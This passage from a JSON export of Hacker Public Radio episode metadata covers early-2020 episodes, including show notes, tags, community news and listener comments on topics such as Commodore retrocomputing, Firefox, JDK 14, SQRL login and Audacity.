                                                            \n","hostid":238,"series":115,"explicit":0,"license":"CC-BY-SA","tags":"bicycles, bicycle maintenance, DIY, bicycle repair","version":0,"downloads":0,"valid":1}, {"id":2980,"date":"2020-01-03","title":"FLOSS Weekly 553 - Hacker Public Radio","duration":4037,"summary":"Randal Schwartz and Aaron Newcomb featured HPR on FLOSS Weekly ","notes":"

                                                            On the 30th Oct 2019 Kevin O’Brien (Ahuka) and Ken Fallon were interviewed about Hacker Public Radio by Randal Schwartz and Aaron Newcomb for FLOSS Weekly 553.

                                                            \n

                                                            This is that show and is released under a Creative Commons Attribution Non-Commercial No-Derivatives 4.0 International license.

                                                            \n

                                                            Links

                                                            \n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-NC-ND","tags":"Randal Schwartz, Aaron Newcomb, FLOSS Weekly","version":0,"downloads":0,"valid":1}, {"id":2981,"date":"2020-01-06","title":"HPR Community News for December 2019","duration":4671,"summary":"HPR Volunteers talk about shows released and comments posted in December 2019","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Paul Quirk.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            2956Mon2019-12-02HPR Community News for November 2019HPR Volunteers
                                                            2957Tue2019-12-03Lord D's Film Reviews: Everlostnbronx
                                                            2958Wed2019-12-04Haskell modulesTuula
                                                            2959Thu2019-12-05Interview with Josh Clements about gpodder.net Ken Fallon
                                                            2960Fri2019-12-06Dehydrated FoodsAhuka
                                                            2961Mon2019-12-09Kubernetics / Cloud - TerminologyDaniel Persson
                                                            2962Tue2019-12-10Bespoke bike buildingBrian in Ohio
                                                            2963Wed2019-12-11A walk through my PifaceCAD Python code – Part 3MrX
                                                            2964Thu2019-12-12Bolos and Bowties: Neckwear for NerdsJon Kulp
                                                            2965Fri2019-12-13instant feedback for students in mathsbeni
                                                            2966Mon2019-12-16World of Commodore 2019 Episode 1: The InterviewsPaul Quirk
                                                            2967Tue2019-12-17Wrestling As You Like It Episode 2TheDUDE
                                                            2968Wed2019-12-18Life and Times of a Geek part 3Dave Morriss
                                                            2969Thu2019-12-19Crewing a spaceship in HaskellTuula
                                                            2970Fri2019-12-20The FediverseAhuka
                                                            2971Mon2019-12-23World of Commodore 2019 Episode 2: Hacking GeckOSPaul Quirk
                                                            2972Tue2019-12-24The foot of the ski slopeDave Morriss
                                                            2973Wed2019-12-25Introduction to Advent of CodeDaniel Persson
                                                            2974Thu2019-12-26Guitar Setup pt. 2NYbill
                                                            2975Fri2019-12-27SimpleScreenRecorder and VidcutterKen Fallon
                                                            2976Mon2019-12-30A walk through my PifaceCAD Python code – Part 4MrX
                                                            2977Tue2019-12-31World of Commodore 2019 Episode 3: Life after CommodorePaul Quirk
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 22 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 6 comments on\n6 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2924\n(2019-10-17) \"Hacking an Alarm Clock to Make it Quieter\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nGabriel Evenfire on 2019-12-24:\n\"Fun to listen to as always\"

                                                              \n
                                                            • hpr2932\n(2019-10-29) \"Stardrifter RPG Playtest Part 10\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nGabriel Evenfire on 2019-12-24:\n\"Loved the series\"

                                                              \n
                                                            • hpr2942\n(2019-11-12) \"Why I love lisps\"\nby Nihilazo.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nGabriel Evenfire on 2019-12-24:\n\"Great first episode\"

                                                              \n
                                                            • hpr2944\n(2019-11-14) \"ONICS Basics Part 4: Network Flows and Connections\"\nby Gabriel Evenfire.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nGabriel Evenfire on 2019-12-23:\n\"Glad you liked it!\"

                                                              \n
                                                            • hpr2947\n(2019-11-19) \"The Mimblewimble Protocol\"\nby mightbemike.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nGabriel Evenfire on 2019-12-24:\n\"Enjoying this series\"

                                                              \n
                                                            • hpr2955\n(2019-11-29) \"Machine Learning / Data Analysis Basics\"\nby Daniel Persson.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\ngerryk on 2019-12-06:\n\"great! clear and informational\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 16 comments on 10 of this month's shows:

                                                            \n
                                                            • hpr2956\n(2019-12-02) \"HPR Community News for November 2019\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\njezra on 2019-12-10:\n\"No more postcards?\"

                                                              \n
                                                            • hpr2957\n(2019-12-03) \"Lord D's Film Reviews: Ever\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2019-12-03:\n\"Great series but ...\"
                                                              • Comment 2:\nlostnbronx on 2019-12-04:\n\"Links\"
                                                              • Comment 3:\nKen Fallon on 2019-12-04:\n\"Good point\"

                                                              \n
                                                            • hpr2959\n(2019-12-05) \"Interview with Josh Clements about gpodder.net \"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2019-12-05:\n\"No problem. I'll do it\"

                                                              \n
                                                            • hpr2962\n(2019-12-10) \"Bespoke bike building\"\nby Brian in Ohio.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\npetard on 2019-12-11:\n\"I really enjoyed this\"
                                                              • Comment 2:\nJon Kulp on 2019-12-12:\n\"Excellent progress\"

                                                              \n
                                                            • hpr2963\n(2019-12-11) \"A walk through my PifaceCAD Python code – Part 3\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nGabriel Evenfire on 2019-12-24:\n\"Great series\"
                                                              • Comment 2:\nMrX on 2019-12-27:\n\"Re: Great series\"

                                                              \n
                                                            • hpr2964\n(2019-12-12) \"Bolos and Bowties: Neckwear for Nerds\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2019-12-12:\n\"Yes it is of interest to Hackers\"
                                                              • Comment 2:\nJon Kulp on 2019-12-12:\n\"the model\"

                                                              \n
                                                            • hpr2965\n(2019-12-13) \"instant feedback for students in maths\"\nby beni.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2019-12-19:\n\"Cool project!\"

                                                              \n
                                                            • hpr2966\n(2019-12-16) \"World of Commodore 2019 Episode 1: The Interviews\"\nby Paul Quirk.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJon Kulp on 2019-12-19:\n\"Legacy Tech\"
                                                              • Comment 2:\nDave Morriss on 2019-12-19:\n\"Great show!\"

                                                              \n
                                                            • hpr2967\n(2019-12-17) \"Wrestling As You Like It Episode 2\"\nby TheDUDE.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2974\n(2019-12-26) \"Guitar Setup pt. 2\"\nby NYbill.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nNYbill on 2019-12-26:\n\"Heh, editing...\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-December/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            There were no tag or summary updates in the past month.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2982,"date":"2020-01-07","title":"World of Commodore 2019 Episode 4: Bare metal c64 Emulation on Raspberry Pi","duration":2420,"summary":"Randy Rossi's presentation of his Github project on bare metal emulation of the C64 on a Pi 3.","notes":"

                                                            Links of note:

                                                            \n","hostid":383,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry,Pi,emulation,Commodore,64,World of Commodore,TPUG,Toronto,Pet,Users,Group,Github,Open Sour","version":0,"downloads":0,"valid":1}, {"id":2983,"date":"2020-01-08","title":"my phone","duration":497,"summary":"gnu-linuxy in my pocket","notes":"\n","hostid":243,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"phone, linux","version":0,"downloads":0,"valid":1}, {"id":2984,"date":"2020-01-09","title":"RHEL 8 Workstation first looks ","duration":543,"summary":"Runing RHEL 8 workstation on a HP Stream Laptop","notes":"

                                                            Hi Everyone a bit random ideas about RHEL 8 on a low end laptop.

                                                            \n

                                                            Interesting Git and flatpak are already installed out of the box.

                                                            \n

                                                            MS Teams works great.

                                                            ","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HP Stream, RHEL 8, MS Teams, flatpak","version":0,"downloads":0,"valid":1}, {"id":2985,"date":"2020-01-10","title":"Firefox Update","duration":1046,"summary":"Some recent updates to Firefox that add useful features","notes":"

                                                            Firefox has been the more secure alternative to Chrome, and it has over the last few months made some updates. So we may want to take a look and see if these are any good, and ask if they add to the security. In some cases there are valuable improvements, such as Facebook Container and the Monitor service.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Firefox, Sync, Container","version":0,"downloads":0,"valid":1}, {"id":2986,"date":"2020-01-13","title":"Onlykey Updated","duration":1390,"summary":"Onlykey more like you better have two keys!","notes":"

                                                            I chat about Onlykey updates along with plugins / updates / issues/ fixes

                                                            \n

                                                            https://chrome.google.com/webstore/detail/onlykey-configuration/adafilbceehejjehoccladhbkgbjmica?hl=en-US

                                                            \n","hostid":36,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"fob,2fa,onlykey,security,computers","version":0,"downloads":0,"valid":1}, {"id":2987,"date":"2020-01-14","title":"World of Commodore 2019 Episode 5: New games from Double Sided Games","duration":2250,"summary":"A presentation by Jérémie Marsin of Double Sided games.","notes":"

                                                            Links of note:

                                                            \n","hostid":383,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Commodore 64,retro,computing,games,gamer,vintage","version":0,"downloads":0,"valid":1}, {"id":2988,"date":"2020-01-15","title":"A tale of two hackers in the same system","duration":518,"summary":"AIX Hacking and modem stuff!!","notes":"

                                                            Hi, I’m sigflup. This is about that awesome time I found that there was another hacker in the same system that I was hacking. Fun stuff

                                                            \n","hostid":115,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"unix,aix,modem,lynx","version":0,"downloads":0,"valid":1}, {"id":2989,"date":"2020-01-16","title":"2019-2020 New Year Show Episode 1","duration":8435,"summary":"Eighth Annual New Year Show - Sint brings toys","notes":"

                                                            Hacker Public Radio 2019-20 New Year Show Episode 1

                                                            \n

                                                            04:30 - 11:00 EST (09:30 - 16:00 UTC)

                                                            \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"2019-20 New Year Show, NYS","version":0,"downloads":0,"valid":1}, {"id":2990,"date":"2020-01-17","title":"JDK14 - Wrap up edition","duration":911,"summary":"We look into what is included in the next release of the JDK.","notes":"

                                                            305: Pattern Matching for instanceof (Preview)
                                                            \n343: Packaging Tool (Incubator)
                                                            \n345: NUMA-Aware Memory Allocation for G1
                                                            \n349: JFR Event Streaming
                                                            \n352: Non-Volatile Mapped Byte Buffers
                                                            \n358: Helpful NullPointerExceptions
                                                            \n359: Records (Preview)
                                                            \n361: Switch Expressions (Standard)
                                                            \n362: Deprecate the Solaris and SPARC Ports
                                                            \n363: Remove the Concurrent Mark Sweep (CMS) Garbage Collector
                                                            \n364: ZGC on macOS
                                                            \n365: ZGC on Windows
                                                            \n366: Deprecate the ParallelScavenge + SerialOld GC Combination
                                                            \n367: Remove the Pack200 Tools and API
                                                            \n368: Text Blocks (Second Preview)
                                                            \n370: Foreign-Memory Access API (Incubator)

                                                            \n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"java, news","version":0,"downloads":0,"valid":1}, {"id":2991,"date":"2020-01-20","title":"Fix yer fog machine","duration":674,"summary":"Save Your Fog Machine today!","notes":"

                                                            https://smile.amazon.com/gp/product/B077HYSYSG

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Halloween,fog machine,DIY","version":0,"downloads":0,"valid":1}, {"id":2992,"date":"2020-01-21","title":"World of Commodore 2019 Episode 6: Introduction to C64 OS","duration":2159,"summary":"Greg Naçu presents to us his new operating system to the Commodore 64","notes":"

                                                            Links of note:

                                                            \n\n","hostid":383,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"Commodore,64,OS,World of Commodore","version":0,"downloads":0,"valid":1}, {"id":2993,"date":"2020-01-22","title":"2019-2020 New Year Show Episode 2","duration":9298,"summary":"Eighth Annual New Year Show with ThinkPads, Steam engines and Corporate America philosophy","notes":"

                                                            Hacker Public Radio 2019-20 New Year Show Episode 2

                                                            \n

                                                            11:00 - 16:30 EST (16:00 - 21:30 UTC)

                                                            \n
                                                              \n
                                                            • TonyH & JoeB chat: ThinkPads, podcasts they are involved with
                                                            • \n
                                                            • KenF explains podcast download stats
                                                            • \n
                                                            • Commercial podcasts hurting the little guy?
                                                            • \n
                                                            • TonyH & JoeB chat: Headphones
                                                            • \n
                                                            • TonyH & Popey chat: Food, games, first computer experience
                                                            • \n
                                                            • Moss joins in
                                                            • \n
                                                            • Old data storage: cassette tapes, Zip & Jazz drives
                                                            • \n
                                                            • Thaj joins Moss & JoeB: Favorite books & authors
                                                            • \n
                                                            • Netminer discusses Autism
                                                            • \n
                                                            • Automobile inspections
                                                            • \n
                                                            • Netminer & TonyH chat: personal property boundary issues
                                                            • \n
                                                            • Handsome_pirate joins: steam engine chat
                                                            • \n
                                                            • HonkeyMagoo joins
                                                            • \n
                                                            • David Richards steam engine Youtube channel -https://www.youtube.com/channel/UCBdj-vOveiEFWe3vnGoJUag
                                                            • \n
                                                            • Mass transit, city traffic
                                                            • \n
                                                            • Corporate America philosophy
                                                            • \n
                                                            • Worker unions
                                                            • \n
                                                            • Fireworks
                                                            • \n
                                                            • Wimpy joins
                                                            • \n
                                                            • Ubuntu Mate discussion
                                                            • \n
                                                            • Donating used PC's
                                                            • \n
                                                            • https://8bitversus.com/
                                                            • \n
                                                            • Timezone confusion??
                                                            • \n
                                                            • Ubuntu podcast
                                                            • \n
                                                            • TonyH: how he discovered Linux
                                                            • \n
                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"2019-20 New Year Show, HPRNYS","version":0,"downloads":0,"valid":1}, {"id":2994,"date":"2020-01-23","title":"Wrestling As You Like It Episode 3","duration":1327,"summary":"A podcast on why I like wrestling and how it works to draw in fans.","notes":"

                                                            In this episode I discuss what direction I’m taking the podcast in. Also more importantly I discuss what Supercards are and their purpose in Pro Wrestling.

                                                            ","hostid":354,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Pro Wrestling","version":0,"downloads":0,"valid":1}, {"id":2995,"date":"2020-01-24","title":"ActivityPub Conference 2019 - ActivityPub: past, present, future","duration":961,"summary":"ActivityPub Conference 2019 Keynote","notes":"

                                                            The ActivityPub Conference of 2019 was held in Prague. This is about the opening keynote talk from Christopher Lemmer Webber. https://www.zwilnik.com/?page_id=1063

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub","version":0,"downloads":0,"valid":1}, {"id":2996,"date":"2020-01-27","title":"Spideroak Update","duration":465,"summary":"I give you an update on my cloud backup solution and fixes","notes":"

                                                            https://spideroak.support/hc/en-us/articles/115001891343-Command-Line-Reference

                                                            \n

                                                            service script:

                                                            \n
                                                            # Make sure you have space or link the base path to some place else\n# make sure you have R/W for the plex user\n# ln -s /media/data/SPIDEROAK_CONFIG/ /home/plex/.config/SpiderOakONE\n\n[Unit]\nDescription=SPIDEROAK STARTUP\nAfter=network.target\n\n[Service]\nUser=plex\nGroup=adm\n\nType=simple\nExecStart=/bin/bash -c '\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin ;\n/usr/bin/SpiderOakONE --headless --verbose'\n\n[Install]\nWantedBy=multi-user.target
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"cloud backup,computers,linux,spideroak one,spideroak","version":0,"downloads":0,"valid":1}, {"id":2997,"date":"2020-01-28","title":"World of Commodore 2019 Episode 7: Video Playback with 1541 Ultimate","duration":1161,"summary":"In this seventh episode, Greg returns to tell us how he got full video playback on a Commodore 64.","notes":"

                                                            Links

                                                            \n\n","hostid":383,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"Commodore 64,retro,computing,games,gamer,vintage,video,World of Commodore,TPUG","version":0,"downloads":0,"valid":1}, {"id":2998,"date":"2020-01-29","title":"2019-2020 New Year Show Episode 3","duration":9164,"summary":"Eighth Annual New Year Show: The US is awake","notes":"

                                                            Hacker Public Radio 2019-20 New Year Show Episode 3

                                                            \n

                                                            16:30 - 21:54 EST (21:30 - 02:54 UTC)

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"2019-20 New Year Show","version":0,"downloads":0,"valid":1}, {"id":2999,"date":"2020-01-30","title":"SQRL - Secure Quick Reliable Login","duration":1442,"summary":"In this podcast we talk about what SQRL is and how it works.","notes":"

                                                            In this podcast, we talk about what SQRL is, and how it works, why I feel that it’s an exciting new login method that is safe and easy to use.

                                                            \n\n","hostid":382,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"security, login method","version":0,"downloads":0,"valid":1}, {"id":3000,"date":"2020-01-31","title":"Chopin Free project","duration":1433,"summary":"An effort to produce royalty and copyright free versions of Frédéric Chopin work.","notes":"

                                                            \nThe Musopen (www.musopen.org) is a 501(c)(3) non-profit focused on improving access and exposure to music by creating free resources and educational materials. We provide recordings, sheet music, and textbooks to the public for free, without copyright restrictions. Put simply, our mission is to set music free.\n

                                                            \n

                                                            \nTheir latest Kickstarter aims to open the works of Frédéric Chopin copyright free.\n

                                                            ","hostid":383,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"musopen, Frédéric Chopin","version":0,"downloads":0,"valid":1}, {"id":3001,"date":"2020-02-03","title":"HPR Community News for January 2020","duration":2649,"summary":"HPR Volunteers Dave and Ken talk about shows released and comments posted in January 2020","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            2978Wed2020-01-01GARAGE DOORoperat0r
                                                            2979Thu2020-01-02Bicycle Freewheel MaintenanceJon Kulp
                                                            2980Fri2020-01-03FLOSS Weekly 553 - Hacker Public RadioKen Fallon
                                                            2981Mon2020-01-06HPR Community News for December 2019HPR Volunteers
                                                            2982Tue2020-01-07World of Commodore 2019 Episode 4: Bare metal c64 Emulation on Raspberry PiPaul Quirk
                                                            2983Wed2020-01-08my phoneJezra
                                                            2984Thu2020-01-09RHEL 8 Workstation first looks JWP
                                                            2985Fri2020-01-10Firefox UpdateAhuka
                                                            2986Mon2020-01-13Onlykey Updatedoperat0r
                                                            2987Tue2020-01-14World of Commodore 2019 Episode 5: New games from Double Sided GamesPaul Quirk
                                                            2988Wed2020-01-15A tale of two hackers in the same systemsigflup
                                                            2989Thu2020-01-16Hacker Public Radio 2019-20 New Year Show Episode 1Kevin Wisher
                                                            2990Fri2020-01-17JDK14 - Wrap up editionDaniel Persson
                                                            2991Mon2020-01-20Fix yer fog machineoperat0r
                                                            2992Tue2020-01-21World of Commodore 2019 Episode 6: Introduction to C64 OSPaul Quirk
                                                            2993Wed2020-01-22Hacker Public Radio 2019-20 New Year Show Episode 2Kevin Wisher
                                                            2994Thu2020-01-23Wrestling As You Like It Episode 3TheDUDE
                                                            2995Fri2020-01-24ActivityPub Conference 2019 - ActivityPub: past, present, futureAhuka
                                                            2996Mon2020-01-27Spideroak Updateoperat0r
                                                            2997Tue2020-01-28World of Commodore 2019 Episode 7: Video Playback with 1541 UltimatePaul Quirk
                                                            2998Wed2020-01-29Hacker Public Radio 2019-20 New Year Show Episode 3Kevin Wisher
                                                            2999Thu2020-01-30SQRL - Secure Quick Reliable LoginDaniel Persson
                                                            3000Fri2020-01-31Chopin Free projectPaul Quirk
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 9 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There is 1 comment on\n1 previous show:

                                                            \n
                                                              \n
                                                            • hpr95\n(2008-05-12) \"Security Wow!\"\nby rowinggolfer.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\npokey on 2020-01-01:\n\"A long overdue thank you.\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 8 comments on 6 of this month's shows:

                                                            \n
                                                            • hpr2979\n(2020-01-02) \"Bicycle Freewheel Maintenance\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave on 2020-01-02:\n\"Like the show\"

                                                              \n
                                                            • hpr2988\n(2020-01-15) \"A tale of two hackers in the same system\"\nby sigflup.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2020-01-15:\n\"Welcome Back!\"
                                                              • Comment 2:\nKen Fallon on 2020-01-20:\n\"Condolences on behalf of HPR\"

                                                              \n
                                                            • hpr2989\n(2020-01-16) \"Hacker Public Radio 2019-20 New Year Show Episode 1\"\nby Kevin Wisher.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2991\n(2020-01-20) \"Fix yer fog machine\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2992\n(2020-01-21) \"World of Commodore 2019 Episode 6: Introduction to C64 OS\"\nby Paul Quirk.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nGreg Nacu on 2020-01-29:\n\"Thanks for the episode!\"

                                                              \n
                                                            • hpr3000\n(2020-01-31) \"Chopin Free project\"\nby Paul Quirk.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2020-01-31:\n\"Wow...just, WOW!\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-January/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributors for sending in updates in the past month: Windigo, Dave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 9 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3002,"date":"2020-02-04","title":"World of Commodore 2019 Episode 8: Vote of thanks","duration":1156,"summary":"This is the final episode of the World of Commodore 2019 mini series.","notes":"

                                                            Links

                                                            \n","hostid":383,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Commodore,64,PET, Vic 20, amiga,World of Commodore, TPUG","version":0,"downloads":0,"valid":1}, {"id":3003,"date":"2020-02-05","title":"2019-2020 New Year Show Episode 4","duration":9707,"summary":"Eighth Annual New Year Show. From Star Wars to NASA","notes":"

                                                            Hacker Public Radio 2019-20 New Year Show Episode 4

                                                            \n

                                                            21:54 - 01:40 EST (02:54 - 06:40 UTC)

                                                            \n
                                                              \n
                                                            • Chat about music, Star Wars, The Mandalorian
                                                            • \n
                                                            • Current main distro
                                                            • \n
                                                            • X2go RDP, Teamviewer, Dark Reader Firefox theme
                                                            • \n
                                                            • Pokey sucks at uRandom promotion
                                                            • \n
                                                            • Advent - https://en.wikipedia.org/wiki/Advent
                                                            • \n
                                                            • Pokey’s firestarters
                                                            • \n
                                                            • Thaj publicly shames Lyle 
                                                            • \n
                                                            • Lyle joins in shame
                                                            • \n
                                                            • Brief history of the New Year show 
                                                            • \n
                                                            • Thaj challenges everyone listening to find one HPR episode that doesn’t have tags and contribute them this year. Tags get sparse around episode 550 if you are trying to find a place to start. OH…and you also owe Ken a show too.
                                                            • \n
                                                            • Here are the instructions: https://hackerpublicradio.org/report_missing_tags.php
                                                            • \n
                                                            • Discussion about exercise 
                                                            • \n
                                                            • Pokey tries to help Mongo with Mumble 
                                                            • \n
                                                            • Thaj describes his custom keyboard layout 
                                                            • \n
                                                            • Pokey repairs his wife’s laptop
                                                            • \n
                                                            • Thaj publicly shames Klattu & Pokey for no tags on their shows
                                                            • \n
                                                            • CladioM explains the Latin tradition “Twelve Grapes” 
                                                            • \n
                                                            • Pokey talks about being a grandparent
                                                            • \n
                                                            • More HP & laptop talk
                                                            • \n
                                                            • Urugami joins
                                                            • \n
                                                            • Mongo joins
                                                            • \n
                                                            • Texas geography
                                                            • \n
                                                            • Motorcycles
                                                            • \n
                                                            • War stories
                                                            • \n
                                                            • NASA
                                                            • \n
                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"2019-20 New Year Show","version":0,"downloads":0,"valid":1}, {"id":3004,"date":"2020-02-06","title":"Fixing simple audio problems with Audacity","duration":808,"summary":"Sharing a few experiences with Audacity that may be helpful to others","notes":"

                                                            Overview

                                                            \n

                                                            I recorded the audio for the show I did with MrX in late 2019: “hpr2972 :: The foot of the ski slope”. I was using my Zoom H2n recorder in my car, on a small tripod placed on the dashboard. Something about this setup caused the result to be very boomy and (to me) unpleasant to listen to. This episode is about what I did for a cure, after some research.

                                                            \n

                                                            I have also been using the Truncate Silence effect in Audacity incorrectly in the past, and I used the opportunity to learn how to do a better job with it.

                                                            \n

                                                            Now, I am well aware that there are some skilled and experienced Audio Engineers out there in HPR-land. I am certainly not one of these, though I quite enjoy fiddling with audio to make it sound better. I’d like to make two requests:

                                                            \n
                                                              \n
                                                            1. If I didn’t do a good job, please tell me what I did wrong here, and how I should have done it.
                                                            2. \n
                                                            3. Think about doing a show (or shows) on HPR about how to deal with common audio problems. For example: how to remove a mains hum, the use of compression and normalisation.
                                                            4. \n
                                                            \n

                                                            Long notes

                                                            \n

                                                            A longer form of these notes may be found here (full_shownotes.html). These go into more detail on the steps I took to try and make the audio for show 2972 more tolerable.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"audio,Audacity,effects,problem solving","version":0,"downloads":0,"valid":1}, {"id":3005,"date":"2020-02-07","title":"Is ActivityPub Paving The Way to Web 3.0?","duration":735,"summary":"ActivityPub Conference 2019, a talk about whether ActivityPub is leading the way to Web 3.0","notes":"

                                                            The ActivityPub Conference of 2019 was held in Prague. This is about a talk raising a suggestion that ActivityPub might be a way to implement Web 3.0. https://www.zwilnik.com/?page_id=1081

                                                            \n

                                                            Links:

